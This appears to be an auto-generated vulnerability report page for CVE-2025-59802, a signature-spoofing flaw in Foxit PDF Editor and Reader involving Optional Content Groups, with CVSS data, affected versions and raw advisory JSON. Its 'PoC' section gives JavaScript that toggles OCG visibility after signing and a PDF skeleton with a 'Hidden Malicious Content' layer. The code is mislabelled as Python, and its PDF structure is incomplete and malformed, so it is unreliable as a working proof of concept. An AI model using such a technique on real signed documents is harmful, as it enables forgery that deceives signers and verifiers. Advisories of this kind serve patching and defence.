Security Vulnerability Report
中文
CVE-2025-59802 CVSS 7.5 HIGH

CVE-2025-59802

Published: 2025-12-11 16:16:27
Last Modified: 2025-12-18 21:31:21

Description

Foxit PDF Editor and Reader before 2025.2.1 allow signature spoofing via OCG. When Optional Content Groups (OCG) are supported, the state property of an OCG is runtime-only and not included in the digital signature computation buffer. An attacker can leverage JavaScript or PDF triggers to dynamically change the visibility of OCG content after signing (Post-Sign), allowing the visual content of a signed PDF to be modified without invalidating the signature. This may result in a mismatch between the signed content and what the signer or verifier sees, undermining the trustworthiness of the digital signature. The fixed versions are 2025.2.1, 14.0.1, and 13.2.1.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:foxit:pdf_editor:14.0.0.68868:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:foxit:pdf_editor:2025.1.0.66692:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:foxit:pdf_editor:14.0.0.33046:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:foxit:pdf_editor:2025.1.0.27937:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Foxit PDF Reader < 2025.2.1
Foxit PDF Reader < 14.0.1
Foxit PDF Reader < 13.2.1
Foxit PDF Editor < 2025.2.1
Foxit PDF Editor < 14.0.1
Foxit PDF Editor < 13.2.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/// Foxit PDF OCG Signature Spoofing PoC /// This PoC demonstrates how OCG visibility can be manipulated after signing // JavaScript code to be embedded in the malicious PDF var maliciousJS = ` // Wait for document to be fully loaded if (this.external) { // For Adobe Reader compatibility mode app.alert("Document requires JavaScript"); } // Get all Optional Content Groups var ocgArray = this.getOCGs(); if (ocgArray && ocgArray.length > 0) { // Hide the OCG containing signed content (simulating pre-signing state) // In attack scenario, this content is hidden during signing ocgArray[0].state = false; // Hide signed content // Show malicious content that was hidden during signing if (ocgArray.length > 1) { ocgArray[1].state = true; // Show malicious content } } // Alternatively, use document events to trigger manipulation this.setAction("WillPrint", "app.alert('Printing modified document');"); `; // PDF structure for OCG-based attack var pdfStructure = ` %PDF-1.7 %OCG-based Signature Spoofing Structure 3 0 obj << /Type /Catalog /Pages 2 0 R /OCProperties << /OCGs [4 0 R 5 0 R] /D << /Name (Default) /ON [4 0 R] /OFF [5 0 R] /Locked [4 0 R] >> >> >> endobj 4 0 obj << /Type /OCG /Name (Original Content) /Usage << /Print /PrintOK /View /ViewOK >> >> endobj 5 0 obj << /Type /OCG /Name (Hidden Malicious Content) /Usage << /Print /PrintOK /View /ViewOK >> >> endobj % JavaScript action to be triggered 6 0 obj << /S /JavaScript /JS ${maliciousJS} >> endobj `; console.log("OCG Signature Spoofing PoC Generated"); console.log("Attack Flow:"); console.log("1. Attacker creates PDF with OCG containing two states"); console.log("2. Original content in ON state, malicious content in OFF state"); console.log("3. Victim signs the document (only ON state content is signed)"); console.log("4. After signing, JavaScript switches states"); console.log("5. Signature remains valid but displayed content is modified");

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-59802", "sourceIdentifier": "[email protected]", "published": "2025-12-11T16:16:26.807", "lastModified": "2025-12-18T21:31:21.487", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Foxit PDF Editor and Reader before 2025.2.1 allow signature spoofing via OCG. When Optional Content Groups (OCG) are supported, the state property of an OCG is runtime-only and not included in the digital signature computation buffer. An attacker can leverage JavaScript or PDF triggers to dynamically change the visibility of OCG content after signing (Post-Sign), allowing the visual content of a signed PDF to be modified without invalidating the signature. This may result in a mismatch between the signed content and what the signer or verifier sees, undermining the trustworthiness of the digital signature. The fixed versions are 2025.2.1, 14.0.1, and 13.2.1."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-290"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionEndIncluding": "13.2.0.63256", "matchCriteriaId": "98F66B0B-2720-49C7-8FEF-42F039A47893"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionStartIncluding": "2023.1.0.55583", "versionEndIncluding": "2023.3.0.63083", "matchCriteriaId": "D8785CCE-C44C-4908-9133-13A580D5BECB"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionStartIncluding": "2024.1.0.63682", "versionEndIncluding": "2024.4.1.66479", "matchCriteriaId": "CF043D20-0E28-481C-8756-D1301FAE67D2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:14.0.0.68868:*:*:*:*:*:*:*", "matchCriteriaId": "BEC6BB18-E885-4970-A74F-AE84FF80C9B7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:2025.1.0.66692:*:*:*:*:*:*:*", "matchCriteriaId": "E0FF839F-37E7-4AFA-85B1-FC98366B14E8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:2025.2.0.68868:*:*:*:*:*:*:*", "matchCriteriaId": "8869E158-A89B-4850-B7CD-A87A37EDFFB6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_reader:*:*:*:*:*:*:*:*", "versionEndIncluding": "2025.2.0.68868", "matchCriteriaId": "E5DC4E55-7875-4716-9520-0A7393516AF1"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionEndIncluding": "13.2.0.23874", "matchCriteriaId": "CDAE2F8C-A99D-418B-84D8-AC1D9CC77411"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionStartIncluding": "2023.1.0.15510", "versionEndIncluding": "2023.3.0.23028", "matchCriteriaId": "0C75FEE6-54F3-49C6-BAEA-A09D23BE5D64"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionStartIncluding": "2024.1.0.23997", "versionEndIncluding": "2024.4.1.27687", "matchCriteriaId": "2C06BC41-9831-4AE3-B10B-3FC313D01580"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:14.0.0.33046:*:*:*:*:*:*:*", "matchCriteriaId": "31590014-7822-4C3F-8A12-15E6D87CB689"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:2025.1.0.27937:*:*:*:*:*:*:*", "matchCriteriaId": "9FDC914F-B999-4233-8BEA-CA20B1F0D9D3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:2025.2.0.33046:*:*:*:*:*:*:*", "matchCriteriaId": "BFFEC0E6-522C-4680-9A24-AD6FB023014C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_reader:*:*:*:*:*:*:*:*", "versionEndIncluding": "2025.2.0.33046", "matchCriteriaId": "DB84418F-2B66-4F22-8300-A893A3D0FA83"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://www.foxit.com/support/security-bulletins.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}